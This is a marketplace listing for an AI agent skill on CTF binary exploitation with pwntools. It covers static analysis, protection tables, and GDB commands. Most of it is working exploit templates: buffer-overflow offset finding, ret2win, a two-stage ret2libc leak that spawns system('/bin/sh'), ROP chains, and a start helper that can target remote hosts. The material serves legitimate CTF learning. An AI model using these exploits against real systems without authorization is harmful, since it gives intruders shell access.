# Pwn Exploits

> Binary exploitation patterns using pwntools for buffer overflows, ROP chains, and shellcode in CTF challenges. Trigger: When solving pwn challenges, buffer overflows, ROP chains, or writing exploits.

- Skill: `g36maid/pwn-exploits` (Agent Skill, multi-file: 29 files)
- Install (CLI): `npx skillmds@latest add g36maid/pwn-exploits`
- Raw SKILL.md: https://api.skillmd.com/api/skills/g36maid/pwn-exploits/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: MIT
- Author: G36maid (https://skillmd.com/u/g36maid)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/g36maid/pwn-exploits

---


# Binary Exploitation Patterns

## When to Use

Load this skill when:
- Solving binary exploitation (pwn) CTF challenges
- Working with buffer overflows and stack-based vulnerabilities
- Building ROP (Return-Oriented Programming) chains
- Writing shellcode or exploits
- Using pwntools for exploitation
- Analyzing binaries with GDB, checksec, or strings

## Binary Analysis Workflow

### Step 1: Static Analysis First

**Always begin with static analysis before dynamic exploitation.**

```bash
# Search for interesting strings
strings ./vuln | grep -iE "flag|password|key|secret|admin"

# Check binary protections
checksec ./vuln

# Examine file type and architecture
file ./vuln
```

**Why?** Static analysis reveals:
- Hidden functionality and backdoor functions
- Hardcoded credentials or flags
- Security mitigations (PIE, NX, Stack Canary, RELRO)
- Architecture (32-bit vs 64-bit, calling conventions)

### Step 2: Decompile with Ghidra/IDA

```bash
# Batch decompile with Ghidra headless mode (RECOMMENDED)
./ghidra_headless/decompile_headless.sh ./vuln output.c

# Or use Python wrapper (legacy)
python tools/decompile.py ./vuln

# Or manually open in Ghidra GUI
ghidra
```

**Key things to look for:**
- Dangerous functions: `gets()`, `strcpy()`, `scanf()`, `read()` with no bounds
- Win functions: `system("/bin/sh")`, `execve()`, `print_flag()`
- Buffer sizes vs input sizes
- Comparison operations (password checks, admin checks)

### Protection Analysis Table

| Protection | Status | Exploitation Strategy |
|------------|--------|----------------------|
| **PIE** | Enabled | Need address leak for code/data addresses |
| **PIE** | Disabled | Can use hardcoded addresses directly |
| **NX** | Enabled | Cannot execute shellcode on stack, use ROP |
| **NX** | Disabled | Can write shellcode to buffer and execute |
| **Stack Canary** | Enabled | Need canary leak or bypass technique |
| **Stack Canary** | Disabled | Direct buffer overflow exploitation |
| **RELRO Full** | Enabled | Cannot overwrite GOT entries |
| **RELRO Partial** | Enabled | Can overwrite GOT for hijacking |

## Exploitation Patterns

### Pattern 1: Find Buffer Overflow Offset

```python
from pwn import *

# Generate cyclic pattern
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()

# After crash, examine core dump or GDB
# Find the offset where control is hijacked
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4))  # x86_64
# or
offset = cyclic_find(core.read(core.eip, 4))  # x86

log.info(f"Offset: {offset}")
```

**Alternative: Manual offset finding**

```python
# Use offset_finder.py from tools/
# python tools/offset_finder.py ./vuln
```

### Pattern 2: Basic ret2win (Call Win Function)

```python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"

# Find win function address
win_addr = elf.symbols['win']  # or elf.symbols['print_flag']

# Build payload
payload = flat({
    offset: [
        win_addr
    ]
})

io = process(exe)
io.sendline(payload)
io.interactive()
```

### Pattern 3: ret2libc (Leak + System)

**Stage 1: Leak libc address**

```python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6")  # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)

# Build ROP chain to leak puts@GOT
payload = flat({
    offset: [
        rop.find_gadget(['pop rdi', 'ret'])[0],
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']  # Return to main for second exploit
    ]
})

io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")

# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
```

**Stage 2: Call system("/bin/sh")**

```python
# Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))

# Build final ROP chain
payload2 = flat({
    offset: [
        rop.find_gadget(['ret'])[0],  # Stack alignment (required for movaps)
        rop.find_gadget(['pop rdi', 'ret'])[0],
        bin_sh,
        libc.symbols['system']
    ]
})

io.sendline(payload2)
io.interactive()
```

### Pattern 4: Auto-Switch Start Function

**Use this template for all pwn scripts:**

```python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    """Start the exploit in different modes"""
    if args.GDB:
        gdbscript = """
        b *main
        continue
        """
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Usage:
# python solve.py              # Local process
# python solve.py GDB          # Debug with GDB
# python solve.py REMOTE IP PORT  # Remote connection
```

### Pattern 5: ROP Chain Construction

```python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

# Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']])
rop.call('main')

# Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = flat({
    offset: [
        ret,              # Stack alignment
        pop_rdi,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']
    ]
})
```

## Quick Reference

### Pwntools Essential Commands

| Task | Command |
|------|---------|
| Generate cyclic pattern | `cyclic(500)` |
| Find offset from crash | `cyclic_find(b'caaa')` or `cyclic_find(0x61616161)` |
| Pack 64-bit integer | `p64(0x401000)` |
| Pack 32-bit integer | `p32(0x08048000)` |
| Unpack 64-bit bytes | `u64(data.ljust(8, b'\x00'))` |
| Unpack 32-bit bytes | `u32(data.ljust(4, b'\x00'))` |
| Launch with GDB | `gdb.debug([exe], gdbscript=script)` |
| Connect remote | `remote(host, port)` |
| Local process | `process([exe])` |
| Build structured payload | `flat({offset: [gadget1, gadget2]})` |
| Find ROP gadgets | `rop.find_gadget(['pop rdi', 'ret'])` |
| Search bytes in binary | `next(elf.search(b'/bin/sh'))` |

### Common ROP Gadgets (x86_64)

```python
# System call setup
pop_rdi = 0x400123  # pop rdi; ret (1st argument)
pop_rsi = 0x400456  # pop rsi; ret (2nd argument)
pop_rdx = 0x400789  # pop rdx; ret (3rd argument)
pop_rax = 0x400abc  # pop rax; ret (syscall number)

# Stack alignment (REQUIRED for recent libc)
ret = 0x400001      # ret

# Useful symbols
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system']  # or libc.symbols['system']
```

### GDB Essential Commands

```bash
# Pwndbg commands
checksec                    # Check binary protections
vmmap                       # Memory mapping
telescope $rsp 20           # Stack view
cyclic 200                  # Generate pattern
cyclic -l 0x61616161       # Find offset
rop                         # Search ROP gadgets
rop --grep "pop rdi"       # Filter gadgets
got                         # GOT entries
plt                         # PLT entries

# Standard GDB
b *main                     # Breakpoint at address
b *0x401234
x/20gx $rsp                # Examine stack (64-bit)
x/20wx $esp                # Examine stack (32-bit)
x/20i $rip                 # Disassemble
info registers              # Register values
set $rax = 0               # Modify register
```

## CTF-Specific Tips

### Extract Flags Automatically

```python
import re

def extract_flag(data):
    """Extract common CTF flag formats"""
    patterns = [
        r'flag\{[^}]+\}',
        r'FLAG\{[^}]+\}',
        r'CTF\{[^}]+\}',
        r'picoCTF\{[^}]+\}',
        r'HTB\{[^}]+\}',
        r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
    ]
    
    text = data if isinstance(data, str) else data.decode('latin-1')
    for pattern in patterns:
        match = re.search(pattern, text)
        if match:
            return match.group(0)
    return None

# Usage
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
    log.success(f"Flag: {flag}")
```

### One-Gadget Usage

```bash
# Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6

# Use in exploit
one_gadget = libc.address + 0x4f3d5  # Offset from one_gadget output
payload = flat({offset: one_gadget})
```

## Anti-Patterns (Avoid These)

### ❌ Don't: Skip Static Analysis

```python
# BAD: Jumping straight to buffer overflow without understanding the binary
offset = 72  # Guessed
payload = b'A' * offset + p64(0xdeadbeef)
```

**Why it's bad:** You might miss:
- Easier solutions (hardcoded flags, win functions)
- Critical constraints (length checks, character filters)
- Security mitigations that require different approaches

### ❌ Don't: Hardcode Addresses with PIE/ASLR

```python
# BAD: Hardcoded libc addresses
system_addr = 0x7ffff7a52290  # This won't work with ASLR

# GOOD: Calculate from leak
libc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']
```

### ❌ Don't: Forget Stack Alignment

```python
# BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})

# GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})
```

### ❌ Don't: Ignore Error Messages

```python
# BAD: Blindly sending payload without checking responses
io.sendline(payload)
io.interactive()

# GOOD: Check for errors and debug
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
    log.error("Exploit failed, check payload")
    exit(1)
io.interactive()
```

## Bundled Resources

### Templates

All templates use the auto-switch start function for easy testing:

- `templates/pwn_basic.py` - Basic buffer overflow template
- `templates/pwn_rop.py` - ROP chain + ret2libc template
- `templates/angr_template.py` - Symbolic execution with angr

### Tools

Helper scripts for common tasks:

- `tools/checksec_quick.sh` - Quick security check wrapper
- `tools/offset_finder.py` - Automated offset calculation
- `tools/leak_parser.py` - Parse and format address leaks
- `tools/libc_lookup.py` - Identify libc version from leaks
- `tools/rop_chain_skeleton.py` - Generate ROP chain templates
- `tools/patch_ld_preload.sh` - Patch binary to use specific libc

### Ghidra Headless Decompilation

- `ghidra_headless/` - Automated decompilation without GUI
- `ghidra_headless/decompile_headless.sh` - Wrapper script for batch decompilation
- `ghidra_headless/DecompileCLI.java` - Ghidra Java script for headless operation
- `ghidra_headless/README.md` - Detailed usage and troubleshooting guide

### Gadget Finders

- `gadgets/find_gadgets_ropgadget.sh` - ROPgadget wrapper
- `gadgets/find_gadgets_ropper.sh` - Ropper wrapper
- `gadgets/find_gadgets_rpplus.sh` - rp++ wrapper
- `gadgets/one_gadget_notes.md` - One-gadget usage guide

### Quick References

- `references/quickref_gadgets.md` - Common ROP gadgets reference
- `references/quickref_gdb.md` - GDB command cheatsheet
- `references/gdb_cheatsheet.md` - Detailed GDB guide
- `references/ret2libc_checklist.md` - Step-by-step ret2libc guide
- `references/usage_guide.md` - Tool usage instructions

### GDB Configuration

- `gdb_init/` - GDB initialization scripts for pwndbg, GEF, peda

## Keywords

pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development

